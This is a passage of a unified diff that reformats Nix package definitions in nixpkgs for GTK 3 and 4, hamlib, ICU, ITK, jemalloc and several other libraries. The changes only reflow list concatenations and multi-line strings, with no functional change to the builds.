+        mesonEmulatorHook
+      ]
+  ++ lib.optionals waylandSupport [
+    wayland-scanner
+  ];
 
-  buildInputs =
-    [
-      libxkbcommon
-      (libepoxy.override { inherit x11Support; })
-      isocodes
-    ]
-    ++ lib.optionals trackerSupport [
-      tinysparql
-    ];
+  buildInputs = [
+    libxkbcommon
+    (libepoxy.override { inherit x11Support; })
+    isocodes
+  ]
+  ++ lib.optionals trackerSupport [
+    tinysparql
+  ];
   #TODO: colord?
 
   propagatedBuildInputs =
@@ -275,15 +273,14 @@ stdenv.mkDerivation (finalAttrs: {
     license = licenses.lgpl2Plus;
     maintainers = with maintainers; [ raskin ];
     teams = [ teams.gnome ];
-    pkgConfigModules =
-      [
-        "gdk-3.0"
-        "gtk+-3.0"
-      ]
-      ++ lib.optionals x11Support [
-        "gdk-x11-3.0"
-        "gtk+-x11-3.0"
-      ];
+    pkgConfigModules = [
+      "gdk-3.0"
+      "gtk+-3.0"
+    ]
+    ++ lib.optionals x11Support [
+      "gdk-x11-3.0"
+      "gtk+-x11-3.0"
+    ];
     platforms = platforms.all;
     changelog = "https://gitlab.gnome.org/GNOME/gtk/-/raw/${finalAttrs.version}/NEWS";
   };
diff --git a/pkgs/development/libraries/gtk/4.x.nix b/pkgs/development/libraries/gtk/4.x.nix
index 3bb415a23c8d..a9217ba92d14 100644
--- a/pkgs/development/libraries/gtk/4.x.nix
+++ b/pkgs/development/libraries/gtk/4.x.nix
@@ -73,7 +73,8 @@ stdenv.mkDerivation (finalAttrs: {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optionals x11Support [ "devdoc" ];
+  ]
+  ++ lib.optionals x11Support [ "devdoc" ];
   outputBin = "dev";
 
   setupHooks = [
@@ -90,113 +91,109 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      docutils # for rst2man, rst2html5
-      gettext
-      gobject-introspection
-      makeWrapper
-      meson
-      ninja
-      pkg-config
-      python3
-      sassc
-      gi-docgen
-      libxml2 # for xmllint
-    ]
-    ++ lib.optionals (compileSchemas && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ]
-    ++ lib.optionals waylandSupport [
-      wayland-scanner
-    ]
-    ++ lib.optionals vulkanSupport [
-      shaderc # for glslc
-    ]
-    ++ finalAttrs.setupHooks;
+  nativeBuildInputs = [
+    docutils # for rst2man, rst2html5
+    gettext
+    gobject-introspection
+    makeWrapper
+    meson
+    ninja
+    pkg-config
+    python3
+    sassc
+    gi-docgen
+    libxml2 # for xmllint
+  ]
+  ++ lib.optionals (compileSchemas && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ]
+  ++ lib.optionals waylandSupport [
+    wayland-scanner
+  ]
+  ++ lib.optionals vulkanSupport [
+    shaderc # for glslc
+  ]
+  ++ finalAttrs.setupHooks;
 
-  buildInputs =
-    [
-      libxkbcommon
-      libpng
-      libtiff
-      libjpeg
-      (libepoxy.override { inherit x11Support; })
-      isocodes
-    ]
-    ++ lib.optionals vulkanSupport [
-      vulkan-headers
-      libdrm
-    ]
-    ++ [
-      gst_all_1.gst-plugins-base
-      gst_all_1.gst-plugins-bad
-      fribidi
-      harfbuzz
-    ]
-    ++ (with xorg; [
-      libICE
-      libSM
-      libXcursor
-      libXdamage
-      libXi
-      libXrandr
-      libXrender
-    ])
-    ++ lib.optionals trackerSupport [
-      tinysparql
-    ]
-    ++ lib.optionals waylandSupport [
-      libGL
-      wayland
-      wayland-protocols
-    ]
-    ++ lib.optionals xineramaSupport [
-      xorg.libXinerama
-    ]
-    ++ lib.optionals cupsSupport [
-      cups
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMusl [
-      libexecinfo
-    ];
+  buildInputs = [
+    libxkbcommon
+    libpng
+    libtiff
+    libjpeg
+    (libepoxy.override { inherit x11Support; })
+    isocodes
+  ]
+  ++ lib.optionals vulkanSupport [
+    vulkan-headers
+    libdrm
+  ]
+  ++ [
+    gst_all_1.gst-plugins-base
+    gst_all_1.gst-plugins-bad
+    fribidi
+    harfbuzz
+  ]
+  ++ (with xorg; [
+    libICE
+    libSM
+    libXcursor
+    libXdamage
+    libXi
+    libXrandr
+    libXrender
+  ])
+  ++ lib.optionals trackerSupport [
+    tinysparql
+  ]
+  ++ lib.optionals waylandSupport [
+    libGL
+    wayland
+    wayland-protocols
+  ]
+  ++ lib.optionals xineramaSupport [
+    xorg.libXinerama
+  ]
+  ++ lib.optionals cupsSupport [
+    cups
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMusl [
+    libexecinfo
+  ];
   #TODO: colord?
 
-  propagatedBuildInputs =
-    [
-      # Required by pkg-config files.
-      cairo
-      gdk-pixbuf
-      glib
-      graphene
-      pango
-    ]
-    ++ lib.optionals waylandSupport [
-      wayland
-    ]
-    ++ lib.optionals vulkanSupport [
-      vulkan-loader
-    ]
-    ++ [
-      # Required for GSettings schemas at runtime.
-      # Will be picked up by wrapGAppsHook4.
-      gsettings-desktop-schemas
-    ];
+  propagatedBuildInputs = [
+    # Required by pkg-config files.
+    cairo
+    gdk-pixbuf
+    glib
+    graphene
+    pango
+  ]
+  ++ lib.optionals waylandSupport [
+    wayland
+  ]
+  ++ lib.optionals vulkanSupport [
+    vulkan-loader
+  ]
+  ++ [
+    # Required for GSettings schemas at runtime.
+    # Will be picked up by wrapGAppsHook4.
+    gsettings-desktop-schemas
+  ];
 
-  mesonFlags =
-    [
-      # ../docs/tools/shooter.c:4:10: fatal error: 'cairo-xlib.h' file not found
-      (lib.mesonBool "documentation" x11Support)
-      "-Dbuild-tests=false"
-      (lib.mesonEnable "tracker" trackerSupport)
-      (lib.mesonBool "broadway-backend" broadwaySupport)
-      (lib.mesonEnable "vulkan" vulkanSupport)
-      (lib.mesonEnable "print-cups" cupsSupport)
-      (lib.mesonBool "x11-backend" x11Support)
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isAarch64) [
-      "-Dmedia-gstreamer=disabled" # requires gstreamer-gl
-    ];
+  mesonFlags = [
+    # ../docs/tools/shooter.c:4:10: fatal error: 'cairo-xlib.h' file not found
+    (lib.mesonBool "documentation" x11Support)
+    "-Dbuild-tests=false"
+    (lib.mesonEnable "tracker" trackerSupport)
+    (lib.mesonBool "broadway-backend" broadwaySupport)
+    (lib.mesonEnable "vulkan" vulkanSupport)
+    (lib.mesonEnable "print-cups" cupsSupport)
+    (lib.mesonBool "x11-backend" x11Support)
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isAarch64) [
+    "-Dmedia-gstreamer=disabled" # requires gstreamer-gl
+  ];
 
   doCheck = false; # needs X11
 
@@ -204,13 +201,12 @@ stdenv.mkDerivation (finalAttrs: {
 
   # These are the defines that'd you'd get with --enable-debug=minimum (default).
   # See: https://developer.gnome.org/gtk3/stable/gtk-building.html#extra-configuration-options
-  env =
-    {
-      NIX_CFLAGS_COMPILE = "-DG_ENABLE_DEBUG -DG_DISABLE_CAST_CHECKS";
-    }
-    // lib.optionalAttrs stdenv.hostPlatform.isMusl {
-      NIX_LDFLAGS = "-lexecinfo";
-    };
+  env = {
+    NIX_CFLAGS_COMPILE = "-DG_ENABLE_DEBUG -DG_DISABLE_CAST_CHECKS";
+  }
+  // lib.optionalAttrs stdenv.hostPlatform.isMusl {
+    NIX_LDFLAGS = "-lexecinfo";
+  };
 
   postPatch = ''
     # this conditional gates the installation of share/gsettings-schemas/.../glib-2.0/schemas/gschemas.compiled.
@@ -237,25 +233,24 @@ stdenv.mkDerivation (finalAttrs: {
     PATH="$PATH:$dev/bin" # so the install script finds gtk4-update-icon-cache
   '';
 
-  postInstall =
-    ''
-      PATH="$OLD_PATH"
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      # The updater is needed for nixos env and it's tiny.
-      moveToOutput bin/gtk4-update-icon-cache "$out"
-      # Launcher
-      moveToOutput bin/gtk-launch "$out"
+  postInstall = ''
+    PATH="$OLD_PATH"
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    # The updater is needed for nixos env and it's tiny.
+    moveToOutput bin/gtk4-update-icon-cache "$out"
+    # Launcher
+    moveToOutput bin/gtk-launch "$out"
 
-      # TODO: patch glib directly
-      for f in $dev/bin/gtk4-encode-symbolic-svg; do
-        wrapProgram $f --prefix XDG_DATA_DIRS : "${shared-mime-info}/share"
-      done
-    ''
-    + lib.optionalString broadwaySupport ''
-      # Broadway daemon
-      moveToOutput bin/gtk4-broadwayd "$out"
-    '';
+    # TODO: patch glib directly
+    for f in $dev/bin/gtk4-encode-symbolic-svg; do
+      wrapProgram $f --prefix XDG_DATA_DIRS : "${shared-mime-info}/share"
+    done
+  ''
+  + lib.optionalString broadwaySupport ''
+    # Broadway daemon
+    moveToOutput bin/gtk4-broadwayd "$out"
+  '';
 
   # Wrap demos
   postFixup =
@@ -303,21 +298,20 @@ stdenv.mkDerivation (finalAttrs: {
     teams = [ teams.gnome ];
     platforms = platforms.all;
     changelog = "https://gitlab.gnome.org/GNOME/gtk/-/raw/${finalAttrs.version}/NEWS";
-    pkgConfigModules =
-      [
-        "gtk4"
-      ]
-      ++ lib.optionals broadwaySupport [
-        "gtk4-broadway"
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isUnix [
-        "gtk4-unix-print"
-      ]
-      ++ lib.optionals waylandSupport [
-        "gtk4-wayland"
-      ]
-      ++ lib.optionals x11Support [
-        "gtk4-x11"
-      ];
+    pkgConfigModules = [
+      "gtk4"
+    ]
+    ++ lib.optionals broadwaySupport [
+      "gtk4-broadway"
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isUnix [
+      "gtk4-unix-print"
+    ]
+    ++ lib.optionals waylandSupport [
+      "gtk4-wayland"
+    ]
+    ++ lib.optionals x11Support [
+      "gtk4-x11"
+    ];
   };
 })
diff --git a/pkgs/development/libraries/gupnp/default.nix b/pkgs/development/libraries/gupnp/default.nix
index 52e09d2c916e..b4ecc401586e 100644
--- a/pkgs/development/libraries/gupnp/default.nix
+++ b/pkgs/development/libraries/gupnp/default.nix
@@ -27,7 +27,8 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [ "devdoc" ];
+  ]
+  ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [ "devdoc" ];
 
   src = fetchurl {
     url = "mirror://gnome/sources/gupnp/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
diff --git a/pkgs/development/libraries/hamlib/4.nix b/pkgs/development/libraries/hamlib/4.nix
index 385e29666764..36aaee94df1c 100644
--- a/pkgs/development/libraries/hamlib/4.nix
+++ b/pkgs/development/libraries/hamlib/4.nix
@@ -32,39 +32,36 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
   depsBuildBuild = [ buildPackages.stdenv.cc ];
-  nativeBuildInputs =
-    [
-      swig
-      pkg-config
-      libtool
-    ]
-    ++ lib.optionals pythonBindings [ python3 ]
-    ++ lib.optionals tclBindings [ tcl ]
-    ++ lib.optionals perlBindings [ perl ];
+  nativeBuildInputs = [
+    swig
+    pkg-config
+    libtool
+  ]
+  ++ lib.optionals pythonBindings [ python3 ]
+  ++ lib.optionals tclBindings [ tcl ]
+  ++ lib.optionals perlBindings [ perl ];
 
-  buildInputs =
-    [
-      gd
-      libxml2
-      libusb-compat-0_1
-      boost
-    ]
-    ++ lib.optionals pythonBindings [
-      python3
-      ncurses
-    ]
-    ++ lib.optionals tclBindings [ tcl ];
+  buildInputs = [
+    gd
+    libxml2
+    libusb-compat-0_1
+    boost
+  ]
+  ++ lib.optionals pythonBindings [
+    python3
+    ncurses
+  ]
+  ++ lib.optionals tclBindings [ tcl ];
 
-  configureFlags =
-    [
-      "CC_FOR_BUILD=${stdenv.cc.targetPrefix}cc"
-    ]
-    ++ lib.optionals perlBindings [ "--with-perl-binding" ]
-    ++ lib.optionals tclBindings [
-      "--with-tcl-binding"
-      "--with-tcl=${tcl}/lib/"
-    ]
-    ++ lib.optionals pythonBindings [ "--with-python-binding" ];
+  configureFlags = [
+    "CC_FOR_BUILD=${stdenv.cc.targetPrefix}cc"
+  ]
+  ++ lib.optionals perlBindings [ "--with-perl-binding" ]
+  ++ lib.optionals tclBindings [
+    "--with-tcl-binding"
+    "--with-tcl=${tcl}/lib/"
+  ]
+  ++ lib.optionals pythonBindings [ "--with-python-binding" ];
 
   meta = with lib; {
     description = "Runtime library to control radio transceivers and receivers";
diff --git a/pkgs/development/libraries/hamlib/default.nix b/pkgs/development/libraries/hamlib/default.nix
index 94292e5fb647..8c0d90182904 100644
--- a/pkgs/development/libraries/hamlib/default.nix
+++ b/pkgs/development/libraries/hamlib/default.nix
@@ -32,39 +32,36 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
   depsBuildBuild = [ buildPackages.stdenv.cc ];
-  nativeBuildInputs =
-    [
-      swig
-      pkg-config
-      libtool
-    ]
-    ++ lib.optionals pythonBindings [ python3 ]
-    ++ lib.optionals tclBindings [ tcl ]
-    ++ lib.optionals perlBindings [ perl ];
+  nativeBuildInputs = [
+    swig
+    pkg-config
+    libtool
+  ]
+  ++ lib.optionals pythonBindings [ python3 ]
+  ++ lib.optionals tclBindings [ tcl ]
+  ++ lib.optionals perlBindings [ perl ];
 
-  buildInputs =
-    [
-      gd
-      libxml2
-      libusb-compat-0_1
-      boost
-    ]
-    ++ lib.optionals pythonBindings [
-      python3
-      ncurses
-    ]
-    ++ lib.optionals tclBindings [ tcl ];
+  buildInputs = [
+    gd
+    libxml2
+    libusb-compat-0_1
+    boost
+  ]
+  ++ lib.optionals pythonBindings [
+    python3
+    ncurses
+  ]
+  ++ lib.optionals tclBindings [ tcl ];
 
-  configureFlags =
-    [
-      "CC_FOR_BUILD=${stdenv.cc.targetPrefix}cc"
-    ]
-    ++ lib.optionals perlBindings [ "--with-perl-binding" ]
-    ++ lib.optionals tclBindings [
-      "--with-tcl-binding"
-      "--with-tcl=${tcl}/lib/"
-    ]
-    ++ lib.optionals pythonBindings [ "--with-python-binding" ];
+  configureFlags = [
+    "CC_FOR_BUILD=${stdenv.cc.targetPrefix}cc"
+  ]
+  ++ lib.optionals perlBindings [ "--with-perl-binding" ]
+  ++ lib.optionals tclBindings [
+    "--with-tcl-binding"
+    "--with-tcl=${tcl}/lib/"
+  ]
+  ++ lib.optionals pythonBindings [ "--with-python-binding" ];
 
   meta = with lib; {
     description = "Runtime library to control radio transceivers and receivers";
diff --git a/pkgs/development/libraries/hivex/default.nix b/pkgs/development/libraries/hivex/default.nix
index 79315f182689..0441ed81d4ae 100644
--- a/pkgs/development/libraries/hivex/default.nix
+++ b/pkgs/development/libraries/hivex/default.nix
@@ -28,26 +28,24 @@ stdenv.mkDerivation rec {
   '';
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      makeWrapper
-      perlPackages.perl
-      pkg-config
-    ]
-    ++ (with ocamlPackages; [
-      ocaml
-      findlib
-    ]);
-  buildInputs =
-    [
-      libxml2
-    ]
-    ++ (with perlPackages; [
-      perl
-      IOStringy
-    ])
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ libintl ];
+  nativeBuildInputs = [
+    autoreconfHook
+    makeWrapper
+    perlPackages.perl
+    pkg-config
+  ]
+  ++ (with ocamlPackages; [
+    ocaml
+    findlib
+  ]);
+  buildInputs = [
+    libxml2
+  ]
+  ++ (with perlPackages; [
+    perl
+    IOStringy
+  ])
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libintl ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/development/libraries/icu/make-icu.nix b/pkgs/development/libraries/icu/make-icu.nix
index c90a2959644c..0ba9681e26df 100644
--- a/pkgs/development/libraries/icu/make-icu.nix
+++ b/pkgs/development/libraries/icu/make-icu.nix
@@ -53,27 +53,27 @@ let
 
     inherit patchFlags patches;
 
-    preConfigure =
-      ''
-        sed -i -e "s|/bin/sh|${stdenv.shell}|" configure
+    preConfigure = ''
+      sed -i -e "s|/bin/sh|${stdenv.shell}|" configure
 
-        # $(includedir) is different from $(prefix)/include due to multiple outputs
-        sed -i -e 's|^\(CPPFLAGS = .*\) -I\$(prefix)/include|\1 -I$(includedir)|' config/Makefile.inc.in
-      ''
-      + lib.optionalString stdenv.hostPlatform.isAarch32 ''
-        # From https://archlinuxarm.org/packages/armv7h/icu/files/icudata-stdlibs.patch
-        sed -e 's/LDFLAGSICUDT=-nodefaultlibs -nostdlib/LDFLAGSICUDT=/' -i config/mh-linux
-      '';
+      # $(includedir) is different from $(prefix)/include due to multiple outputs
+      sed -i -e 's|^\(CPPFLAGS = .*\) -I\$(prefix)/include|\1 -I$(includedir)|' config/Makefile.inc.in
+    ''
+    + lib.optionalString stdenv.hostPlatform.isAarch32 ''
+      # From https://archlinuxarm.org/packages/armv7h/icu/files/icudata-stdlibs.patch
+      sed -e 's/LDFLAGSICUDT=-nodefaultlibs -nostdlib/LDFLAGSICUDT=/' -i config/mh-linux
+    '';
 
     dontDisableStatic = withStatic;
 
-    configureFlags =
-      [ "--disable-debug" ]
-      ++ lib.optional (stdenv.hostPlatform.isFreeBSD || stdenv.hostPlatform.isDarwin) "--enable-rpath"
-      ++ lib.optional (
-        stdenv.buildPlatform != stdenv.hostPlatform
-      ) "--with-cross-build=${nativeBuildRoot}"
-      ++ lib.optional withStatic "--enable-static";
+    configureFlags = [
+      "--disable-debug"
+    ]
+    ++ lib.optional (stdenv.hostPlatform.isFreeBSD || stdenv.hostPlatform.isDarwin) "--enable-rpath"
+    ++ lib.optional (
+      stdenv.buildPlatform != stdenv.hostPlatform
+    ) "--with-cross-build=${nativeBuildRoot}"
+    ++ lib.optional withStatic "--enable-static";
 
     enableParallelBuilding = true;
 
@@ -96,12 +96,14 @@ let
     outputs = [
       "out"
       "dev"
-    ] ++ lib.optional withStatic "static";
+    ]
+    ++ lib.optional withStatic "static";
     outputBin = "dev";
 
-    nativeBuildInputs =
-      [ updateAutotoolsGnuConfigScriptsHook ]
-      ++
+    nativeBuildInputs = [
+      updateAutotoolsGnuConfigScriptsHook
+    ]
+    ++
       # FIXME: This fixes dylib references in the dylibs themselves, but
       # not in the programs in $out/bin.
       lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
@@ -147,13 +149,11 @@ let
     pname = pname + "-build-root";
     inherit version;
 
-    preConfigure =
-      baseAttrs.preConfigure
-      + ''
-        mkdir build
-        cd build
-        configureScript=../configure
-      '';
+    preConfigure = baseAttrs.preConfigure + ''
+      mkdir build
+      cd build
+      configureScript=../configure
+    '';
 
     postBuild = ''
       cd ..
diff --git a/pkgs/development/libraries/irrlicht/default.nix b/pkgs/development/libraries/irrlicht/default.nix
index c2b9ddb7e076..0995fb7563a0 100644
--- a/pkgs/development/libraries/irrlicht/default.nix
+++ b/pkgs/development/libraries/irrlicht/default.nix
@@ -20,14 +20,13 @@ stdenv.mkDerivation {
 
   src = common.src;
 
-  postPatch =
-    ''
-      sed -i -e '/sys\/sysctl.h/d' source/Irrlicht/COSOperator.cpp
-    ''
-    + lib.optionalString stdenv.hostPlatform.isAarch64 ''
-      substituteInPlace source/Irrlicht/Makefile \
-        --replace "-DIRRLICHT_EXPORTS=1" "-DIRRLICHT_EXPORTS=1 -DPNG_ARM_NEON_OPT=0"
-    '';
+  postPatch = ''
+    sed -i -e '/sys\/sysctl.h/d' source/Irrlicht/COSOperator.cpp
+  ''
+  + lib.optionalString stdenv.hostPlatform.isAarch64 ''
+    substituteInPlace source/Irrlicht/Makefile \
+      --replace "-DIRRLICHT_EXPORTS=1" "-DIRRLICHT_EXPORTS=1 -DPNG_ARM_NEON_OPT=0"
+  '';
 
   preConfigure = ''
     cd source/Irrlicht
@@ -50,7 +49,8 @@ stdenv.mkDerivation {
     libXrandr
     libX11
     libXxf86vm
-  ] ++ lib.optional stdenv.hostPlatform.isAarch64 zlib;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isAarch64 zlib;
 
   meta = {
     homepage = "https://irrlicht.sourceforge.io/";
diff --git a/pkgs/development/libraries/itk/generic.nix b/pkgs/development/libraries/itk/generic.nix
index 9e0cedcedece..ede33338a811 100644
--- a/pkgs/development/libraries/itk/generic.nix
+++ b/pkgs/development/libraries/itk/generic.nix
@@ -96,56 +96,53 @@ stdenv.mkDerivation {
     ln -sr ${rtkSrc} Modules/Remote/RTK
   '';
 
-  cmakeFlags =
-    [
-      "-DBUILD_EXAMPLES=OFF"
-      "-DBUILD_SHARED_LIBS=ON"
-      "-DITK_FORBID_DOWNLOADS=ON"
-      "-DITK_USE_SYSTEM_LIBRARIES=ON" # finds common libraries e.g. hdf5, libpng, libtiff, zlib, but not GDCM, NIFTI, MINC, etc.
-      (lib.cmakeBool "ITK_USE_SYSTEM_EIGEN" (lib.versionAtLeast version "5.4"))
-      "-DITK_USE_SYSTEM_GOOGLETEST=OFF" # ANTs build failure due to https://github.com/ANTsX/ANTs/issues/1489
-      "-DITK_USE_SYSTEM_GDCM=ON"
-      "-DITK_USE_SYSTEM_MINC=ON"
-      "-DLIBMINC_DIR=${libminc}/lib/cmake"
-      "-DModule_ITKMINC=ON"
-      "-DModule_ITKIOMINC=ON"
-      "-DModule_ITKIOTransformMINC=ON"
-      "-DModule_SimpleITKFilters=ON"
-      "-DModule_ITKReview=ON"
-      "-DModule_MGHIO=ON"
-      "-DModule_AdaptiveDenoising=ON"
-      "-DModule_GenericLabelInterpolator=ON"
-    ]
-    ++ lib.optionals enableRtk [
-      "-DModule_RTK=ON"
-    ]
-    ++ lib.optionals enablePython [
-      "-DITK_WRAP_PYTHON=ON"
-      "-DITK_USE_SYSTEM_CASTXML=ON"
-      "-DITK_USE_SYSTEM_SWIG=ON"
-      "-DPY_SITE_PACKAGES_PATH=${placeholder "out"}/${python.sitePackages}"
-    ]
-    ++ lib.optionals withVtk [ "-DModule_ITKVtkGlue=ON" ];
+  cmakeFlags = [
+    "-DBUILD_EXAMPLES=OFF"
+    "-DBUILD_SHARED_LIBS=ON"
+    "-DITK_FORBID_DOWNLOADS=ON"
+    "-DITK_USE_SYSTEM_LIBRARIES=ON" # finds common libraries e.g. hdf5, libpng, libtiff, zlib, but not GDCM, NIFTI, MINC, etc.
+    (lib.cmakeBool "ITK_USE_SYSTEM_EIGEN" (lib.versionAtLeast version "5.4"))
+    "-DITK_USE_SYSTEM_GOOGLETEST=OFF" # ANTs build failure due to https://github.com/ANTsX/ANTs/issues/1489
+    "-DITK_USE_SYSTEM_GDCM=ON"
+    "-DITK_USE_SYSTEM_MINC=ON"
+    "-DLIBMINC_DIR=${libminc}/lib/cmake"
+    "-DModule_ITKMINC=ON"
+    "-DModule_ITKIOMINC=ON"
+    "-DModule_ITKIOTransformMINC=ON"
+    "-DModule_SimpleITKFilters=ON"
+    "-DModule_ITKReview=ON"
+    "-DModule_MGHIO=ON"
+    "-DModule_AdaptiveDenoising=ON"
+    "-DModule_GenericLabelInterpolator=ON"
+  ]
+  ++ lib.optionals enableRtk [
+    "-DModule_RTK=ON"
+  ]
+  ++ lib.optionals enablePython [
+    "-DITK_WRAP_PYTHON=ON"
+    "-DITK_USE_SYSTEM_CASTXML=ON"
+    "-DITK_USE_SYSTEM_SWIG=ON"
+    "-DPY_SITE_PACKAGES_PATH=${placeholder "out"}/${python.sitePackages}"
+  ]
+  ++ lib.optionals withVtk [ "-DModule_ITKVtkGlue=ON" ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      xz
-    ]
-    ++ lib.optionals enablePython [
-      castxml
-      swig
-      which
-    ];
+  nativeBuildInputs = [
+    cmake
+    xz
+  ]
+  ++ lib.optionals enablePython [
+    castxml
+    swig
+    which
+  ];
 
-  buildInputs =
-    [
-      libX11
-      libuuid
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "5.4") [ eigen ]
-    ++ lib.optionals enablePython [ python ]
-    ++ lib.optionals withVtk [ vtk ];
+  buildInputs = [
+    libX11
+    libuuid
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "5.4") [ eigen ]
+  ++ lib.optionals enablePython [ python ]
+  ++ lib.optionals withVtk [ vtk ];
   # Due to ITKVtkGlue=ON and the additional dependencies needed to configure VTK 9
   # (specifically libGL and libX11 on Linux),
   # it's now seemingly necessary for packages that configure ITK to
@@ -153,23 +150,22 @@ stdenv.mkDerivation {
   # These deps were propagated from VTK 9 in https://github.com/NixOS/nixpkgs/pull/206935,
   # so we simply propagate them again from ITK.
   # This admittedly is a hack and seems like an issue with VTK 9's CMake configuration.
-  propagatedBuildInputs =
-    [
-      # The dependencies we've un-vendored from ITK, such as GDCM, must be propagated,
-      # otherwise other software built against ITK fails to configure since ITK headers
-      # refer to these previously vendored libraries:
-      expat
-      fftw
-      gdcm
-      hdf5-cpp
-      libjpeg
-      libminc
-      libpng
-      libtiff
-      zlib
-    ]
-    ++ lib.optionals withVtk vtk.propagatedBuildInputs
-    ++ lib.optionals enablePython [ numpy ];
+  propagatedBuildInputs = [
+    # The dependencies we've un-vendored from ITK, such as GDCM, must be propagated,
+    # otherwise other software built against ITK fails to configure since ITK headers
+    # refer to these previously vendored libraries:
+    expat
+    fftw
+    gdcm
+    hdf5-cpp
+    libjpeg
+    libminc
+    libpng
+    libtiff
+    zlib
+  ]
+  ++ lib.optionals withVtk vtk.propagatedBuildInputs
+  ++ lib.optionals enablePython [ numpy ];
 
   postInstall = lib.optionalString enablePython ''
     substitute \
diff --git a/pkgs/development/libraries/jabcode/default.nix b/pkgs/development/libraries/jabcode/default.nix
index a7b6404b6a86..0d98953db4ec 100644
--- a/pkgs/development/libraries/jabcode/default.nix
+++ b/pkgs/development/libraries/jabcode/default.nix
@@ -29,7 +29,8 @@ stdenv.mkDerivation {
     zlib
     libpng
     libtiff
-  ] ++ lib.optionals (subproject != "library") [ jabcode ];
+  ]
+  ++ lib.optionals (subproject != "library") [ jabcode ];
 
   preConfigure = "cd src/${subdir}";
 
diff --git a/pkgs/development/libraries/jemalloc/default.nix b/pkgs/development/libraries/jemalloc/default.nix
index 7c70a5c69c68..f5d817be852f 100644
--- a/pkgs/development/libraries/jemalloc/default.nix
+++ b/pkgs/development/libraries/jemalloc/default.nix
@@ -54,35 +54,34 @@ stdenv.mkDerivation rec {
   # https://github.com/jemalloc/jemalloc/issues/2346
   configureScript = "./autogen.sh";
 
-  configureFlags =
-    [
-      "--with-version=${version}-0-g0000000000000000000000000000000000000000"
-      "--with-lg-vaddr=${with stdenv.hostPlatform; toString (if isILP32 then 32 else parsed.cpu.bits)}"
-    ]
-    # see the comment on stripPrefix
-    ++ lib.optional stripPrefix "--with-jemalloc-prefix="
-    ++ lib.optional disableInitExecTls "--disable-initial-exec-tls"
-    # jemalloc is unable to correctly detect transparent hugepage support on
-    # ARM (https://github.com/jemalloc/jemalloc/issues/526), and the default
-    # kernel ARMv6/7 kernel does not enable it, so we explicitly disable support
-    ++ lib.optionals (stdenv.hostPlatform.isAarch32 && lib.versionOlder version "5") [
-      "--disable-thp"
-      "je_cv_thp=no"
-    ]
-    # The upstream default is dependent on the builders' page size
-    # https://github.com/jemalloc/jemalloc/issues/467
-    # https://sources.debian.org/src/jemalloc/5.3.0-3/debian/rules/
-    ++ [
-      (
-        if (stdenv.hostPlatform.isAarch64 || stdenv.hostPlatform.isLoongArch64) then
-          "--with-lg-page=16"
-        else
-          "--with-lg-page=12"
-      )
-    ]
-    # See https://github.com/jemalloc/jemalloc/issues/1997
-    # Using a value of 48 should work on both emulated and native x86_64-darwin.
-    ++ lib.optional (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) "--with-lg-vaddr=48";
+  configureFlags = [
+    "--with-version=${version}-0-g0000000000000000000000000000000000000000"
+    "--with-lg-vaddr=${with stdenv.hostPlatform; toString (if isILP32 then 32 else parsed.cpu.bits)}"
+  ]
+  # see the comment on stripPrefix
+  ++ lib.optional stripPrefix "--with-jemalloc-prefix="
+  ++ lib.optional disableInitExecTls "--disable-initial-exec-tls"
+  # jemalloc is unable to correctly detect transparent hugepage support on
+  # ARM (https://github.com/jemalloc/jemalloc/issues/526), and the default
+  # kernel ARMv6/7 kernel does not enable it, so we explicitly disable support
+  ++ lib.optionals (stdenv.hostPlatform.isAarch32 && lib.versionOlder version "5") [
+    "--disable-thp"
+    "je_cv_thp=no"
+  ]
+  # The upstream default is dependent on the builders' page size
+  # https://github.com/jemalloc/jemalloc/issues/467
+  # https://sources.debian.org/src/jemalloc/5.3.0-3/debian/rules/
+  ++ [
+    (
+      if (stdenv.hostPlatform.isAarch64 || stdenv.hostPlatform.isLoongArch64) then
+        "--with-lg-page=16"
+      else
+        "--with-lg-page=12"
+    )
+  ]
+  # See https://github.com/jemalloc/jemalloc/issues/1997
+  # Using a value of 48 should work on both emulated and native x86_64-darwin.
+  ++ lib.optional (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) "--with-lg-vaddr=48";
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isDarwin "-Wno-error=array-bounds";
 
diff --git a/pkgs/development/libraries/kde-frameworks/kdoctools/default.nix b/pkgs/development/libraries/kde-frameworks/kdoctools/default.nix
index 2347920c863d..377a102c8a57 100644
--- a/pkgs/development/libraries/kde-frameworks/kdoctools/default.nix
+++ b/pkgs/development/libraries/kde-frameworks/kdoctools/default.nix
@@ -36,16 +36,17 @@ mkDerivation {
     "out"
     "dev"
   ];
-  patches =
-    [ ./kdoctools-no-find-docbook-xml.patch ]
-    # kf.doctools.core: Error: Could not find kdoctools catalogs
